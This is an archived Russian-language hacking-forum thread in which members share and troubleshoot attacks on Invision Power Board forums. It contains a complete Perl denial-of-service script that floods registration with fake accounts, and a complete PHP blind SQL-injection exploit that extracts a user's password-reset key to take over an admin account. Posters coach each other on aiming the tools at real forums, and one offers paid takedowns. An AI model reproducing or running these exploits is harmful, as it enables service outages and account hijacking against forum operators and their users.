PDA

Просмотр полной версии : Сплоит для IPB <= 2.1.4 DOS


degeneration x
20.02.2006, 13:30
Нашел недавно, проверял на 2.1.4 работает отлично!

#!/usr/bin/perl
use IO::Socket;
################################################## ########
## _______ _______ ______ #
## |______ |______ | \ #
## ______| |______ |_____/ #
## #
##IPB Register Multiple Users Denial of Service #
##Doesn't Work on forums using "Code Confirmation" #
##Created By SkOd #
##SED security Team #
##http://www.sed-team.be #
##skod.uk@gmail.com #
##ISRAEL #
################################################## ########

print q{
################################################## ##########
# Invision Power Board Multiple Users DOS #
#Tested on IPB 2.0.1 #
# created By SkOd. SED Security Team #
################################################## ##########
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Forum Path: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forum shuld be Dosed. Check it out...\n";

degeneration x
20.02.2006, 21:00
Кто ещё проверял?

Zheca
20.02.2006, 22:19
Ну я эт скрипт недельки 2 назад юзал, тока чегото у меня ничего не сработало. Т.е скрипт то работает - плюсики там идут - но в конце пишет что типа хост в ДоСе - но нифга он не в Досе - работает как и работал. Может ошибочка есть?

tester
25.02.2006, 19:01
for ($i=0; $i<9999; $i++) - что это? :D

DooDlez
25.02.2006, 22:11
Объясните, что скрипт вооще делает, что значит Dosed :rooleyes: ?.. Только не бейте :(...

Inferno
25.02.2006, 22:35
for ($i=0; $i<9999; $i++) - что это? :D
Цыкл который будет выполнятся до 9999 а вобще хз!

degeneration x
25.02.2006, 23:32
IPB Register Multiple Users Denial of Service
Doesn't Work on forums using "Code Confirmation"
Эти всё сказано. А вообще он пытается многократно зарегистрировать новых пользователей, DOS получается только в том случае, если на форуме не стоит бот-защита при регистрации(ввод случайной комбинации букв и цифр). А если бот-защита включена, то он сильно тормозит работу форума.

podkashey
27.02.2006, 02:43
Dos - многократное обращение к серверу, что в итоге приводит его к ауту.
Столько пользователей и регистрирутеся для этого.

kirpunk
28.02.2006, 00:13
а как его заливать? знаю что index.php? и что то там =)

vectorg
28.02.2006, 00:31
не куда ничего заливать не нужно, устанавливаешь active perl или чтото наподобие, и запускаешь со своей тачки... хотя можно и по другому, но в твоём случае я думаю нужен первый вариант

SHiTS
28.02.2006, 16:07
За 6 мин скажите че за ошибка!!!

The requested URL /forum/act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sed botbeta&EmailAddress=".$name."/@host.com&EmailAddress_two=".$name."/@host.com&allow_admin_mail=1 &allow_member_mail=1&day=11&month=11&year=1985&agree=1 was not found on this server

tester
28.02.2006, 19:50
нету здесь не какой ошибки, ошибки есть в запросе нефиг его с сплойта вытаскивать если ты даже не видешь в нем куски кода на пример:
&UserName=".$name."& да и вобще получше почитай назначения сплойта а потом тыркай запросы

Sprinter
02.03.2006, 19:57
Он кактит только для 2.1.4 или покатит скажем на 2.0.*?

Что собственно надо вбивать?
Forum Host: - что ту вбивать?
Forum Path: - ну это сам путь к форуму

tester
02.03.2006, 23:05
Forum host: http://phpbb.com
Forum path: /phpBB/

Sprinter
03.03.2006, 16:59
Ну а если форум находится вот так
www.форум.jino-net.ru
www.форум.jino-net.ru/forum/
www.форум.ru/forum/
?
Forum host: http://phpbb.com
Forum path: /phpBB/ вообще отказывается что то делать

degeneration x
04.03.2006, 12:12
Ну а если форум находится вот так
www.форум.jino-net.ru
www.форум.jino-net.ru/forum/
www.форум.ru/forum/
?

Попробуй:
1.
Forum host: форум.jino-net.ru
Forum path: /
2.
Forum host: форум.jino-net.ru
Forum path: /forum/
3.
Forum host: форум.ru
Forum path: /forum/

Sprinter
04.03.2006, 15:19
1 вариант я как только не пытался. Не работает. Пишет
Cennot Connect Host, it's can be beacuse the host dosed at ipb2.pl line 36, <stdin> line 2.
3 вариант вроде плюсики пошли, жду.

И ешё, что писать когда форум расположен на домене 3 уровня forum.форум.ru?

Stronger_se
07.03.2006, 17:58
кто нибудь когда нибудь смог сделать что нибудь на _http://www.goodboards.ru форумы с этого сервиса вообще не потдаються ниодному из раннее перечисленных способов ...

KEZ
07.03.2006, 17:59
Stronger_se,
я могу на два-три часа в даун отправить, если есть деньги - в ПМ

Stronger_se
07.03.2006, 18:14
Stronger_se,
я могу на два-три часа в даун отправить, если есть деньги - в ПМ

........................................

так я тоже могу .. но мне нужно вообще нах снести его .. или что нибудь посерьёзнее нескольких часов

micle
09.03.2006, 00:05
################################################## ##########
Forum Host: http://*****/forum/
Forum Path: /forum
Cennot Connect Host, it's can be beacuse the host dosed at C:\WebServers\usr\bin
\ipb.pl line 36, <stdin> line 2.


А как от этого избавиться?

Nova
09.03.2006, 00:36
################################################## ##########
Forum Host: http://*****/forum/
Forum Path: /forum
Cennot Connect Host, it's can be beacuse the host dosed at C:\WebServers\usr\bin
\ipb.pl line 36, <stdin> line 2.


А как от этого избавиться?

Исправить Exploit и не будет этого !

Rebz
09.03.2006, 01:20
ну с минимальными знаниями английского можно сказать, что..
1) ты нифига не знаешь английский, написал текст видно сам.. с грубыми ошибками.. "dosed" и "closed" - найдите 10 отличий.. лол

2) скрипт не может приконнектиться из-за того что хост закрыт. это при дословном переводе с англ.

3) у тя Денвер чтоль стоит? хех).. пробуй запустить скрипт на удаленной никсовой системе)

4) проверь правильность ввода форума

napa3uT
09.03.2006, 09:01
Наткнулся в инете случайно.
Сам не юзал.
Может кому пригодится.
<?
/*
____ ________
__________ /____ \/__ __ \
/__________ \_ _ // _ \ / / / \ \
\\______ \__ __ \/ / // /__/ / /
\| _/ | \ / / \_____ / /
|| | \ | / / /_____ / / /
||____|___/____/ \______/ \_/ /
|_________/_____/\_______/\___/
=== - security team - ===

Invision Power Board < 2.1.4 Password change SQL-Injection Exploit
by roOstY
Ru24 Security Team
<= www.Ru24-Team.net =>
----
For example you can reset password for admin
(link to "forget Password" add ask to change this password.
At the end of exploit you get link to change admin password)
Working in all Invision Power Forum forum before 2.1.4
but you need good mysql version ;)
Greetz to Nitrex and Dukenn
Regards to: Dr_UFO_51,k0pa,NSD,Naikon and other...
Before runing,you must setup some settings
WARNING: You must setup the CURL-module for PHP!
----
*/

/* In any case at first you need to change password to $target if you can't understand that */
// error_reporting(E_ALL);

############ Settings ################################################## #########

$proxy="24.48.*.*:**"; ## - your socks 4/5-proxy

$host="http://forum.***.lt"; ## - target forum
$login="********"; ## - login to forum
$password="*****"; ## - pass to forum
$cook_name="ibf_topicsread"; ## - target cookie name (default: ibf_topicsread)
$topic=22; ## - any real topyc
$target=1; ## - id target to admin or other user that you want to reset password
#####
# At first you need to reset pasword for target user.
# For example you can reset password for admin (link to "forget Password" add ask to change this password. At the end of you get link to change admin password)
####
$len=32; ## 5 for salt ## it's my
$ver=1; ## if not wor change to 2
$cookie_file_path = "/tmp/cookie"; ## for my opinuion, you can to set other
$agent = "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)";
################################################## ##############################

$cookie="";

echo "Login...";
$url=$host."/index.php?act=Login&CODE=01&CookieDate=1";
$reffer=$host."/index.php?act=Login&CODE=00";
$post['UserName']=urlencode($login);
$post['PassWord']=urlencode($password);
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,$post,""); ###### Login to the forum

$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }
if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then Login\n";
exit;
} else echo "done\n";

echo "Redirecting to main page...";
$url=$host.urldecode(ExtractString($result,$host,"\" "));
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",""); ###### Redirect to the main page

$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }

if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then Redirect\n";
exit;
} else echo "done\n";
$reffer=$url;


echo "Going to Control Panel...";
$url=$host."/index.php?act=UserCP&CODE=00";
$reffer="";$agent="";
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",""); ###### Go te the control panel
$cook=getcookiee($result);
foreach ($cook as $k=>$v) { $cookie[$k]=$v; }

if (!strstr($result,$login)) {
echo "error. Invalid Login or Password then going to Control\n";
exit;
} echo "done\n";



echo "Get table prefix...";
$arr[$topic]=1111111111;
$arr['-1) andd']=$topic;

$cookie_base="";
foreach ( $cookie as $k=>$v ) { $cookie_base.= $k."=".$v."; "; }

$cookie_add=$cookie_base.$cook_name."=".urlencode(serialize($arr));
unset($arr);

$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
if (!(strstr($result,"Error"))) {
echo "error. Target seems not vuln";
exit; }
$pref=ExtractString($result,"SELECT * FROM ","topics");
echo "done prefix: ".$pref."\n";

$al="";
echo "Checking Mysql version....";
$targval=explode(".",$target);
$arr[$topic]=1111111111;
$arr['-1) and @@version<4/*']=$topic;
$cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
unset($arr);
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4 - GOOD!\n";
else { echo "done Mysql ver < 4. We can use only dos\n";
exit;
}
echo "Exploiting....";

$sent='%61%3A%32%3A%7B%73%3A';
if ($ver==1) $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,n ull,null,0,0,2,2,1,0,0,0,0,0,1,0,0,0,0,0,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";
else $exp="-999) UNION SELECT 0,vid,null,'open',0,1,1132440935,1,11132440935,0,n ull,null,0,0,2,2,1,0,0,null,null,0,0,1,0 from ".$pref."validating where member_id=".$target." LIMIT 1/*";

$arr[$topic]=1111111111;
$arr[$exp]=$topic;
$cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
unset($arr);
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
if (!strstr($result,"different number of columns")) {
echo "done\n";
$vid=substr($result,strpos($result,"</a></span>")-32,32);
echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".$vid."] and change user password!\n";
} else {
echo "bad Can't find number of colums\n";
}
echo "Checking Mysql version 2....";
$targval=explode(".",$target);
$arr[$topic]=1111111111;
$arr['-1) and @@version<4.1/*']=$topic;
$cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
unset($arr);
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
//echo $result;exit;
if (!strstr($result,"showtopic=".$target)) echo "done Mysql ver > 4.1 - GOOD!\n";
else { echo "done Mysql ver < 4.1. We can't use SUBSELECT\n";
exit;
}
echo "Bruteforcing....\n";
$val="";
for ($j=16;$j<=$len;$j++) {
$a2=128;
$a1=32;
while (($a2-$a1)>=5) {
$s=round(($a1+$a2)/2,0);
echo $s;
$arr[$topic]=1111111111;
$arr['-1) and '.$s.'>(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
$cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
unset($arr);
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
if ((strstr($result,"Error"))) {
echo "Error querry!\n";
exit;
}
if (strstr($result,"showtopic")) $a2=$s; else $a1=$s;
}
for ($i=$a1;$i<=$a2;$i++) {
echo $i;
$arr[$topic]=1111111111;
$arr['-1) and '.$i.'=(select ord(substring(vid,'.$j.',1)) from '.$pref.'validating where member_id='.$target.' LIMIT 1)/*']=$topic;
$cookie_add=$cookie_base."; ".$cook_name."=".urlencode(serialize($arr));
$result=querry($url,$agent,$proxy,$reffer,$cookie_ file_path,"",$cookie_add);
// echo urlencode(serialize($arr)).$result;exit;
if (strstr($result,"showtopic")) {
$val .= chr($i);
echo " - Get_symb:[".$j."] ".chr($i)."\n";
break;
}
}
}
echo "Done\nGoto url: [".$host."/index.php?act=Reg&CODE=lostpassform&uid=".$target."&aid=".strtolower($val)."] and change user password!\n";

function getcookiee($result) {
$res = explode("\n",$result);
foreach ($res as $k=>$v ) {
if (ereg("Set-Cookie",$v)) {
$c_a = explode(";",trim(str_replace("Set-Cookie:","",$v)));
foreach ($c_a as $k=>$v ) {
if (!(ereg("expires",$v))) {
$arr=explode("=",trim($v));
$cook[trim($arr[0])]=trim($arr[1]);
}
}
}
}
return $cook;
}
function querry($url,$agent,$proxy,$reffer,$cookie_file_pat h,$post,$cookie) {
$ch = curl_init ();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
if ($post!="") {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
}
curl_setopt ($ch, CURLOPT_TIMEOUT, 120);
curl_setopt ($ch, CURLOPT_PROXY, $proxy);
curl_setopt ($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt ($ch, CURLOPT_FAILONERROR, false);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_REFERER, $reffer);

if ($cookie!="")
curl_setopt($ch, CURLOPT_COOKIE, $cookie);
// else {
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file_path);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file_path);
// }
curl_setopt($ch, CURLOPT_HEADER, 1);
$result = curl_exec($ch);
$error=curl_errno($ch);
curl_close ($ch);
if ($error) $result="Fucking Error: ".$error."\r\n";
if ($error==7) $result=$result." Failed to connect() to host or proxy.\r\n";
if ($error==28) $result=$result." Operation timeout. The specified time-out period was reached according to the conditions.\r\n";
if ($error==22) $result=$result." Sorry, Unable to process request at this time, Please try again later.\r\n";
return $result;
}

function ExtractString($str, $start, $end) {
$str_low = ($str);
if (strpos($str_low, $start) !== false && strpos($str_low, $end, strpos($str_low, $start)) !== false) {
$pos1 = strpos($str_low, $start) + strlen($start);
$pos2 = strpos($str_low, $end,strpos($str_low, $start)) - $pos1;
return substr($str, $pos1, $pos2);
}
}
?>

источник http://www.ru24-team.net/

Otaku
09.03.2006, 19:08
Спасибо, но было.